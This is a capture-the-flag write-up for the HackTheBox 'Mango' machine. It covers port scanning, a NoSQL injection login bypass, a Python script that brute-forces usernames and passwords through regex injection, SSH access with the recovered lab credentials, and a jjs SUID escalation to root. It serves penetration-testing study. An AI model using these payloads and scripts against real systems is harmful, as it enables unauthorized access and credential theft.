> For the complete documentation index, see [llms.txt](https://alfa8sa.gitbook.io/htb-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alfa8sa.gitbook.io/htb-writeups/linux-machines/mango.md).

# Mango

![](/files/TtmuAvITGuZYubD7DNu2)

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.162 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

```
# Nmap 7.92 scan initiated Thu Jan  6 18:02:04 2022 as: nmap -sS --min-rate 5000 -p- -T5 -Pn -n -oN allPorts 10.10.10.162
Warning: 10.10.10.162 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.162
Host is up (0.063s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

# Nmap done at Thu Jan  6 18:02:21 2022 -- 1 IP address (1 host up) scanned in 16.67 seconds
```

As we see, a few ports are open.

Let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,80,443 10.10.10.162 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

```
# Nmap 7.92 scan initiated Thu Jan  6 18:02:46 2022 as: nmap -sCV -p22,80,443 -oN targeted 10.10.10.162
Nmap scan report for 10.10.10.162
Host is up (0.049s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.29 (Ubuntu)
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_http-title: Mango | Search Base
Service Info: Host: 10.10.10.162; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan  6 18:03:15 2022 -- 1 IP address (1 host up) scanned in 28.85 seconds
```

Let's start with the basics. First, I see there is an *HTTPS* service running on port 443. Let's inspect the *SSL* certificate with the following command:

> ssl s\_client -connect 10.10.10.162:443

* `s_client` implements a generic **SSL/TLS** client.
* `-connect` tests **connectivity** to an HTTPS service..

At some point we should see this:

```
Certificate chain
0 s:C = IN, ST = None, L = None, O = Mango Prv Ltd., OU = None, CN = staging-order.mango.htb, emailAddress = admin@mango.htb
  i:C = IN, ST = None, L = None, O = Mango Prv Ltd., OU = None, CN = staging-order.mango.htb, emailAddress = admin@mango.htb
```

Now we know that the *common name (CN)* is `staging-order.mango.htb` and the *Domain Name* is mango `.htb`. Let's add both to the `/etc/hosts` file and see if there is Virtual Hosting.

```
# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.239    staging-order.mango.htb    mango.htb
```

{% hint style="info" %}
**Virtual hosting** is a method for hosting multiple domain names (with separate handling of each name) on a single server.
{% endhint %}

If we take a look at `http://mango.htb` we will get a *Forbidden* message.

![](/files/2uLOIWI9PQR19e3i0ITh)

And if we take a look at `https://mango.htb` or `https://staging-order.mango.htb` we will see a Mango search engine, based on the Google search engine.

![](/files/uSw3M2sga5zuiXpbImbQ)

And if we take a look at `http://staging-order.mango.htb` we'll see a login page.

![](/files/koNZftyQcXfdI0Pobu0o)

## Exploitation

Let's try some random credentials on the login page, intercept the request with *BurpSuite*, and send it to the repeater.

> username=admin\&password=admin\&login=login

![](/files/fZ65ZVNvUoC8Oyq8h2Zy)

At this point, I tried to inject various types of payloads from the [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) github repository, and I got something interesting by doing *NoSQL injection*. If I enter some invalid credentials I get a response with a `200 OK` status code, but if I use the [NoSQL Authentication Bypass](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) I get a `302 Found` status code, and if I forward the petition I see the `home.php` file basically saying that the website is not functional.

> username<mark style="color:red;">\[$ne]</mark>=admin\&password<mark style="color:red;">\[$ne]</mark>=admin\&login=login

![](/files/gdBm9G3gbNWDRlRz7HIO)

![](/files/t6YqrJS4sHodo36qlA9x)

Now that we can do *NoSQL Injection*, we can try to dump the current database. We used before the not equal `[$ne]`, but we can also use regular expressions with `[$regex]`. If we send something like `username[$regex]=^a` and we get a `302 Found` status code, we know that there is a user that starts with the letter `a`, if we get a `200 OK` status code, we know the users doesn't start with `a`.

The idea here is to keep trying letters until we get the `302 Found` status code, then we can append that letter at the end of the *username* value.

> username<mark style="color:red;">\[$regex]=^a</mark>\&password<mark style="color:red;">\[$ne]</mark>=admin\&login=login

![](/files/FFSBtxboCtBRLY9JFXEf)

If we append the letter `b` at the end, we'll get a 200 OK status code, which means that there is no user that starts with `ab`.

> username<mark style="color:red;">\[$regex]=^ab</mark>\&password<mark style="color:red;">\[$ne]</mark>=admin\&login=login

![](/files/E5aE6d8XnR7furJadTJu)

But, if I append the letter `d`, I get a 302 Found status code, which means that there is a user which starts with `ad`.

> username<mark style="color:red;">\[$regex]=^ad</mark>\&password<mark style="color:red;">\[$ne]</mark>=admin\&login=login

![](/files/9V0W3jO16LSeoJOOW2AB)

Here is a python script I coded which basically automates this whole process. It finds valid users and their password, by exploiting the vulnerability explained before.

```python
#/usr/bin/env python
from pwn import *
import requests

def def_handler(sig, frame):
    print("[!] Saliendo...")
    sys.exit(1)
    
#Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables
url = "http://staging-order.mango.htb/"

def makeRequest():
    characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#%&\'(),-/:;<=>@[\]_`{}~'
    user = ""
    password = ""
    prev_char_list = []
    found_user = False

    p1 = log.progress("Brute Force")
    p1.status("Brute forcing...")
    time.sleep(1)
    
    p2 = log.progress("Username")
    p3 = log.progress("Password")

    while True:
                    
        for char in characters:

            p1.status("Trying with the %c character" % char)

            if found_user == False:
                post_data = {
                    "username[$regex]": "^%s%s" %(user, char),
                    "password[$ne]": "password",
                    "login": "login"
                }
            else:
                post_data = {
                    "username": user,
                    "password[$regex]": f"^{re.escape(password + char)}",
                    "login": "login"
                }

            r = requests.post(url, post_data, allow_redirects=False)
            
            if r.status_code == 302:
                if found_user == False:
                    if user == "":
                        for prev_char in prev_char_list:
                            characters = characters + prev_char
                        prev_char_list.append(char)
                    user += char
                    p2.status(user)
                else:
                    password += char
                    p3.status(password)
                break
            if r.status_code == 200 and char == characters[-1]:
                if found_user == False:
                    found_user = True
                    if user == "":
                        print("[!] No more users...")
                        sys.exit(0)
                else:
                    for prev_char in prev_char_list:
                        characters = characters.replace(prev_char, '')
                    found_user = False
                    user = ""
                    password = ""
                    p2 = log.progress("Username")
                    p3 = log.progress("Password")
                break

if __name__ == '__main__':
    makeRequest()pyth
```

If we execute the script, we should get the users `admin` and `mango` with their passwords.

> python3 exploit.py

```
[|] Brute Force: Trying with the ~ character
[┬] Username: admin
[┬] Password: t9KcS3>!0B#2
[┴] Username: mango
[-] Password: h3mXK8RhU~f{]f5H
[◒] Username
[°] Password
[!] No more users...
```

If we try to log in via *SSH* with these credentials, we'll see that we can have a shell as the `mango` user.

> ssh mango\@10.10.10.162

```
mango@10.10.10.162's password: h3mXK8RhU~f{]f5H
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Feb  8 22:43:25 UTC 2022

  System load:  0.0                Processes:            101
  Usage of /:   26.0% of 19.56GB   Users logged in:      0
  Memory usage: 24%                IP address for ens33: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Feb  8 22:40:41 2022 from 10.10.14.19
-bash-4.4$ whoami
mango
```

From here we can become the `admin` user with the password that we obtained before, and then we could grab the user flag.

> su admin

```
Password: t9KcS3>!0B#2
$ script /dev/null -c bash
Script started, file is /dev/null
bash-4.4$ whoami
admin
bash-4.4$ cat /home/admin/user.txt 
e545e9be2adee42a96334143edea9672
```

## Privilege Escalation

Now we could try to list *SUID* binaries, and see if we can escalate privileges with one of them.

> find / -perm /4000 2>/dev/null

```
/bin/fusermount
/bin/mount
/bin/bash
/bin/umount
/bin/su
/bin/ping
/snap/core/7713/bin/mount
/snap/core/7713/bin/ping
/snap/core/7713/bin/ping6
/snap/core/7713/bin/su
/snap/core/7713/bin/umount
/snap/core/7713/usr/bin/chfn
/snap/core/7713/usr/bin/chsh
/snap/core/7713/usr/bin/gpasswd
/snap/core/7713/usr/bin/newgrp
/snap/core/7713/usr/bin/passwd
/snap/core/7713/usr/bin/sudo
/snap/core/7713/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/7713/usr/lib/openssh/ssh-keysign
/snap/core/7713/usr/lib/snapd/snap-confine
/snap/core/7713/usr/sbin/pppd
/snap/core/6350/bin/mount
/snap/core/6350/bin/ping
/snap/core/6350/bin/ping6
/snap/core/6350/bin/su
/snap/core/6350/bin/umount
/snap/core/6350/usr/bin/chfn
/snap/core/6350/usr/bin/chsh
/snap/core/6350/usr/bin/gpasswd
/snap/core/6350/usr/bin/newgrp
/snap/core/6350/usr/bin/passwd
/snap/core/6350/usr/bin/sudo
/snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/6350/usr/lib/openssh/ssh-keysign
/snap/core/6350/usr/lib/snapd/snap-confine
/snap/core/6350/usr/sbin/pppd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/run-mailcap
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/at
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
```

We get a bunch of *SUID* binaries. If we search for the `jjs` binary on *GTFOBins* we'll see there is a way of getting a shell as the root user.

{% hint style="info" %}
GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions:

<https://gtfobins.github.io/>
{% endhint %}

The following command will set the `/bin/bash` binary with the *SUID* permission, so we could get a shell as root.

> echo "Java.type('java.lang.Runtime').getRuntime().exec('chmod +s /bin/bash').waitFor()" | jjs

```
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod +s /bin/bash').waitFor()
0
```

Then all we have to do is execute bash with privileged mode and reap the harvest and take the root flag.

> bash -p

```
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt 
c34dfa4d88b3f6dac73e6b2e1bf3cb1d
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alfa8sa.gitbook.io/htb-writeups/linux-machines/mango.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
